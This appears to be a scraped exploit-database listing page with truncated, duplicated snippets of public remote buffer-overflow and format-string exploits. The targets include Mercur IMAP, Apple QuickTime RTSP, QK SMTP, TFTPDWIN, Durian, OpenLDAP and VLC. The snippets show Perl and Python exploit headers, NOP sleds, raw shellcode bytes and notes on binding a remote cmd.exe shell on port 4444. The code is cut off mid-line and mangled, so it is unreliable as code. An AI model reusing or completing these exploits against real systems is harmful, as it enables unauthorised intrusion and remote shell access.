Mercur Messaging 2005 - IMAP Remote Buffer Overflow

Mercur Messaging 2005 - IMAP Remote Buffer Overflow !/bin/perl tested on win2k server SP4 English ATTENTION! If you have an another valid account you must change the offsets this is only a poc use IO::Socket::INET; my $host = shift@ARGV; my $port = 143; my $reply; my $request; my $user = "test"; ...

Mercur Messaging 2005 IMAP Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ========================================================= Mercur Messaging 2005 IMAP Remote Buffer Overflow Exploit ========================================================= !/bin/perl tested on win2k server SP4 English ATTENTION! If you ha...

ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (1)

!/usr/bin/perl -w use IO::Socket; if!$ARGV1 print "Usage: tftpdwin-0-4-2.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='udp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "Cannot connect to $ARGV0 sulla porta $ARGV1"; my $nop0="\x90"x15; 8BC3 MOV EAX,EBX 66:05 1201 ADD AX,112 50 PUSH EAX C3 RETN...

Mercur Messaging 2005 - IMAP Remote Buffer Overflow

!/bin/perl tested on win2k server SP4 English ATTENTION! If you have an another valid account you must change the offsets this is only a poc use IO::Socket::INET; my $host = shift@ARGV; my $port = 143; my $reply; my $request; my $user = "test"; my $pass = "test"; my $nop = "\x90"x8; my $nop1 =...

quicktime.py.txt

!/usr/bin/python Port bind exploit for apple quicktime rtsp vulnerability Tested on windows 2000 SP0 and SP4 with quicktime 7.1.3.100. Should be easy to port the exploit to others. All one needs to do is look for the appropriate jump address. Certain characters are not permitted in the shellcode...

Apple Quicktime (rtsp URL Handler) Buffer Overflow Exploit (win2k)

No description provided by source. !/usr/bin/python Port bind exploit for apple quicktime rtsp vulnerability Tested on windows 2000 SP0 and SP4 with quicktime 7.1.3.100. Should be easy to port the exploit to others. All one needs to do is look for the appropriate...

QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl)

No description provided by source. !/bin/perl http://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit credit to Greg...

Apple Quicktime (rtsp URL Handler) Buffer Overflow Exploit (win2k)

Exploit for unknown platform in category remote exploits ================================================================== Apple Quicktime rtsp URL Handler Buffer Overflow Exploit win2k ================================================================== !/usr/bin/python Port bind exploit for appl...

Apple QuickTime (Windows 2000) - rtsp URL Handler Remote Buffer Overflow

Apple QuickTime Windows 2000 - rtsp URL Handler Remote Buffer Overflow !/usr/bin/python Port bind exploit for apple quicktime rtsp vulnerability Tested on windows 2000 SP0 and SP4 with quicktime 7.1.3.100. Should be easy to port the exploit to others. All one needs to do is look for the appropria...

QQ漏洞（远程可执行）Tencent QQ VQQPlayer.ocx

No description provided by source. ---------------------------------------------------------------------------------------- / ----------------------------------------------------------------------- Tencent QQ VQQPlayer.ocx all version 0day Author: axis Date: 2006-12-27 Mail: [email protected]...

Apple QuickTime (Windows 2000) - 'rtsp URL Handler' Remote Buffer Overflow

!/usr/bin/python Port bind exploit for apple quicktime rtsp vulnerability Tested on windows 2000 SP0 and SP4 with quicktime 7.1.3.100. Should be easy to port the exploit to others. All one needs to do is look for the appropriate jump address. Certain characters are not permitted in the shellcode...

VideoLAN VLC Media Player 0.8.6 (PPC) - udp: Format String (PoC)

VideoLAN VLC Media Player 0.8.6 PPC - udp: Format String PoC !/usr/bin/perl http://www.digitalmunition.com/VLCMediaSlayer-ppc.pl Code by Kevin Finisterre kflistsatdigitalmunitiondotcom This is just a vanilla format string exploit for OSX on ppc. We overwrite a saved return addy with our shellcode...

QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl)

Exploit for unknown platform in category remote exploits ============================================================= QK SMTP = 3.01 RCPT TO Remote Buffer Overflow Exploit pl ============================================================= !/bin/perl http://www.securityfocus.com/bid/20681 tested on...

QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2)

!/bin/perl https://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit credit to Greg Linares for discovered the...

QK SMTP 3.01 - RCPT TO Remote Buffer Overflow (2)

QK SMTP 3.01 - RCPT TO Remote Buffer Overflow 2 !/bin/perl https://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit...

csrss.exe double-free vulnerability - arbitrary DWORD overwrite exploit

Hi, For those researchers who are interested in the Csrss Double-Free vulnerability, I have coded an arbitrary DWORD overwrite exploit. This flaw is hard to exploit at least for me due to the the "fail-and-die" situation. Corrupting the heap in a process like Csrss is dangerous. However, by...

Hack tell your network“overrun attack”offense and Defense recorded-vulnerability warning-the black bar safety net

As the network popularity, a large number of public Shellcode“overflow”codeand overflow attacks principle in the security web site to find, thus derived a series of security problems, many know a little about network security knowledge people can use ready-made attack software to easily launch an...

durian-302-exec.txt

http://sourceforge.net/projects/durian/ / errorreportingEALL; $address = "192.168.1.3"; $serviceport = "4002"; $shellcode = "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\x6d\x13\x86\x7c". //WinExec, 0x7c86136d "\xff\xd3". "\x31\xc0". "\x50"...

Durian Web Application Server 3.02 - Remote Buffer Overflow

http://sourceforge.net/projects/durian/ / errorreportingEALL; $address = "192.168.1.3"; $serviceport = "4002"; $shellcode = "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\x6d\x13\x86\x7c". //WinExec, 0x7c86136d "\xff\xd3". "\x31\xc0". "\x50"...

OpenLDAP &lt;= 2.4.3 (KBIND) Remote Buffer Overflow Exploit

No description provided by source. / openldap-kbind-p00f.c - OpenLDAP kbind remote exploit Only works on servers compiled with --enable-kbind enable LDAPv2+ Kerberos IV bind deprecated no by Solar Eclipse [email protected] Shoutouts to LSD for their l33t asm code and to all 0dd people...